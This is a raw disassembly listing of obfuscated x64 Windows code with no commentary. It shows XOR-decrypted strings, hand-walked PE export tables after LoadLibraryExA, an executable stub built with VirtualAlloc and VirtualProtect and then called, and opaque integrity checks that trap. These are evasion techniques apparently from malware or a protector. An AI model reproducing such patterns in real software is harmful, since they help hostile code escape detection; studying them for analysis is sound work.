lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x14005ee44
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r12d, 0xdeadbeef
or rax, r12
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005f38a
inc edi
cmp edi, 5
jl 0x14005ef03
mov rax, qword [rbp + 0xbf8]
mov qword [rsp + 0x60], rax
cmp qword [0x140135300], rbx
jne 0x14005ef9a
mov ecx, 0x26b0
call fcn.1400e0a28
test rax, rax
je 0x14005ef9a
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x140135300], rax
mov qword [rbp + 0xbf0], rbx
mov qword [rbp + 0xe50], 0x1000
movdqa xmm0, xmmword [0x1401234a0]
movdqu xmmword [rbp + 0x678], xmm0
mov byte [rbp + 0x688], 0x50
mov byte [rbp + 0x689], 0x61
mov byte [rbp + 0x68a], Ordinal_217
mov byte [rbp + 0x68b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x68c], Ordinal_211
mov byte [rbp + 0x68d], Ordinal_41
mov byte [rbp + 0x68e], WSACleanup
xor eax, eax
mov byte [rbp + 0x68f], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x678]
lea rcx, [rbp + 0x678]
call fcn.140069268
xor al, dil
mov byte [rbp + rdi + 0x678], al
inc rdi
cmp rdi, 0x17
jb 0x14005f002
mov byte [rbp + 0x68f], bl
mov rsi, qword [0x140135300]
test rsi, rsi
je 0x14005f11f
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x14005f0d1
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e0a28
mov r14, rax
test rax, rax
je 0x14005f115
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x140135300]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400fbf70
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], r14
mov rsi, r14
lea rax, [rbp + 0x678]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0xdf0], Ordinal_33
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x130], 0x7a
mov byte [rbp + 0x131], 0x5c
mov byte [rbp + 0x132], 1
mov byte [rbp + 0x133], 0x84
mov byte [rbp + 0x134], 0x90
mov byte [rbp + 0x135], Ordinal_33
mov byte [rbp + 0x136], 0xe5
mov byte [rbp + 0x137], 0xe3
mov byte [rbp + 0x138], 0x88
xor eax, eax
mov byte [rbp + 0x139], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x130]
lea rcx, [rbp + 0x130]
call fcn.140069108
xor al, dil
mov byte [rbp + rdi + 0x130], al
inc rdi
cmp rdi, 9
jb 0x14005f169
mov byte [rbp + 0x139], bl
mov rsi, qword [0x140135300]
test rsi, rsi
je 0x14005f27d
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x14005f238
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400e0a28
mov r14, rax
test rax, rax
je 0x14005f27d
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x140135300]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400fbf70
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], r14
mov rsi, r14
lea rax, [rbp + 0x130]
mov qword [rbp + 0xde8], rax
mov eax, 0xa
mov qword [rbp + 0xdf0], rax
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14005f312
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14005f312
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005f312
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14005f312
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x14005f312
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x678]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14005f301
inc rax
test edi, edi
jne 0x14005f2ec
test r8d, r8d
je 0x14005f395
inc rdx
cmp rdx, r14
jb 0x14005f2db
mov r15d, ebx
mov rdi, qword [0x140135300]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x14005f565
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xdf8], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14005f552
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14005f552
mov al, byte [rbp + 0xdf8]
test al, al
jne 0x14005f519
xor edx, edx
call fcn.1400fc610
jmp 0x14005f552
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14005f312
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x14005f312
mov r9d, 4
mov r13d, 0x3000
mov r8d, r13d
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1400d1a7c
or dword [rbp + 0x20d14], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f990]
call fcn.14006a02c
lea rcx, [rbp + 0x1f990]
call fcn.14006931c
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
mov rdi, rbx
lea rcx, [rbp + 0x1f990]
call fcn.14006931c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2a510], rax
inc rdi
cmp rdi, 0x200
jl 0x14005f42d
mov r8, r12
lea rdx, [rbp + 0x2a510]
mov rcx, r14
call fcn.1400fbf70
mov dword [0x1401324b4], r15d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x1401324b0]
movsd qword [rdi], xmm0
movzx eax, word [0x1401324b8]
mov word [rdi + 8], ax
mov al, byte [0x1401324ba]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdb4], ebx
lea r9, [rbp + 0xdb4]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0xe50]
xor r8d, r8d
lea rdx, [rbp + 0xbf0]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xdb4]
mov r8d, dword [rbp + 0xdb4]
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, r14
call fcn.1400fc610
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1401324b4], ebx
jmp 0x14005f315
cmp al, 1
jne 0x14005f552
mov rdx, rcx
lea rcx, [rbp + 0xed0]
call fcn.14006996c
xor edx, edx
lea rcx, [rbp + 0xed0]
call fcn.140069ef8
lea rcx, [rbp + 0xed0]
call fcn.140069e88
lea rcx, [rbp + 0xed0]
call fcn.140004028
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x14005f33f
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400fc610
mov rcx, rdi
call fcn.1400e0904
mov qword [0x140135300], rbx
test r15d, r15d
jns 0x14005f58f
mov r13, rbx
mov qword [rbp], rbx
jmp 0x14005f5a3
mov r13, qword [rbp + 0xbf0]
mov qword [rbp], r13
test r13, r13
jne 0x14005f88e
mov rax, qword gs:[0x3f]
mov esi, 0x7dfe5890
cmp rax, rsi
jne 0x14005f6cb
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x14005f5c6
mov r14d, 0x930f525f
xor r8, r14
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r14
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd38], rax
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005f6c0
inc edi
cmp edi, 7
jl 0x14005f661
jmp 0x14005f6d1
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r14d, 0x930f525f
movdqa xmm0, xmmword [0x140123220]
movdqu xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [0x1401231d0]
movdqu xmmword [rbp + 0x8f0], xmm1
mov rdi, rbx
movabs r15, 0x1110daaef
mov qword [rsp + 0x20], r15
mov r9d, Ordinal_33
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8e0]
lea rcx, [rbp + 0x8e0]
call fcn.140068d08
xor al, dil
mov byte [rbp + rdi + 0x8e0], al
inc rdi
cmp rdi, 0x1f
jb 0x14005f6fe
mov byte [rbp + 0x8ff], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x8e0]
call fcn.140051d44
mov rax, qword gs:[0x3f]
cmp rax, rsi
jne 0x14005f88e
mov r9d, 0xfd6ccd6d
mov rdi, rbx
mov r8d, ebx
mov r15d, 0xfeefbfff
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x14005f76e
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd38], rax
add rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005ff61
inc edi
cmp edi, 5
jl 0x14005f82d
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1050], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1058], rax
lea rax, [r13 + 0x28]
mov qword [rbp + 0x1060], rax
mov rsi, qword [rbp - 0x18]
mov qword [rbp + 0x1068], rsi
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1070], rax
mov r14d, dword [rsp + 0x68]
mov qword [rbp + 0x58], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp - 8], r15
mov qword [rbp + 0xe48], rbx
mov r8d, ebx
mov rdi, rbx
mov r12d, 0x80808081
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x58]
imul ecx, eax
movzx eax, byte [rbp + rdi - 8]
xor ecx, eax
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe48], cl
inc rdi
cmp r8d, 8
jb 0x14005f8fe
mov r11d, ebx
mov rax, rbx
lea r10, [rbp + 0x1050]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe48]
mov r9b, dil
xor r9b, 0x28
mov esi, edi
mov ecx, ebx
lea r8, [rbp + 0xe48]
movzx edi, dil
movzx eax, byte [r8]
add rdi, rax
xor rdi, qword [rbp + 0xe48]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r8
cmp ecx, 8
jb 0x14005f971
movzx ecx, r9b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r10]
xor cl, dil
mov byte [r10], cl
inc r11d
inc r10
movsxd rax, r11d
cmp rax, 0x28
jb 0x14005f954
mov qword [rbp + 0x18], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0x48], r15
mov qword [rbp + 0xe40], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x18]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x48]
xor ecx, eax
mov eax, r12d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe40], cl
inc rdi
cmp r8d, 8
jb 0x14005fa07
mov r11d, ebx
mov rax, rbx
lea r9, [rbp + 0x28400]
movabs r13, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe40]
mov r10b, dil
xor r10b, 5
mov esi, edi
mov ecx, ebx
lea r8, [rbp + 0xe40]
movzx edi, dil
movzx eax, byte [r8]
add rdi, rax
xor rdi, qword [rbp + 0xe40]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r8
cmp ecx, 8
jb 0x14005fa7a
movzx ecx, dil
add ecx, esi
movzx eax, r10b
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r9]
xor cl, dil
mov byte [r9], cl
inc r11d
inc r9
movsxd rax, r11d
cmp rax, 0x104
jb 0x14005fa5d
mov r12, qword [rbp + 0xbf8]
movdqa xmm0, xmmword [0x1401233f0]
movdqu xmmword [rbp + 0x3f0], xmm0
mov byte [rbp + 0x400], 0x85
mov byte [rbp + 0x401], 0x41
mov byte [rbp + 0x402], 0xa7
mov byte [rbp + 0x403], 0x98
xor eax, eax
mov byte [rbp + 0x404], al
mov rdi, rbx
mov r13, qword [rbp]
movabs rsi, 0x1110daaef
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_sendto
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3f0]
lea rcx, [rbp + 0x3f0]
call fcn.140068c1c
xor al, dil
mov byte [rbp + rdi + 0x3f0], al
inc rdi
cmp rdi, 0x14
jb 0x14005fb3f
mov byte [rbp + 0x404], bl
mov byte [rbp + 0x140], Ordinal_27
mov byte [rbp + 0x141], 0x86
mov byte [rbp + 0x142], 0x76
mov byte [rbp + 0x143], 0x9a
mov byte [rbp + 0x144], 0x3f
mov byte [rbp + 0x145], Ordinal_46
mov byte [rbp + 0x146], 0xad
mov byte [rbp + 0x147], 0x88
mov byte [rbp + 0x148], 0xbc
xor eax, eax
mov byte [rbp + 0x149], al
mov rdi, rbx
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x140]
lea rcx, [rbp + 0x140]
call fcn.140068a4c
xor al, dil
mov byte [rbp + rdi + 0x140], al
inc rdi
cmp rdi, 9
jb 0x14005fbc3
mov byte [rbp + 0x149], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r15d, 0x5a4d
test rax, rax
je 0x14005fc94
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3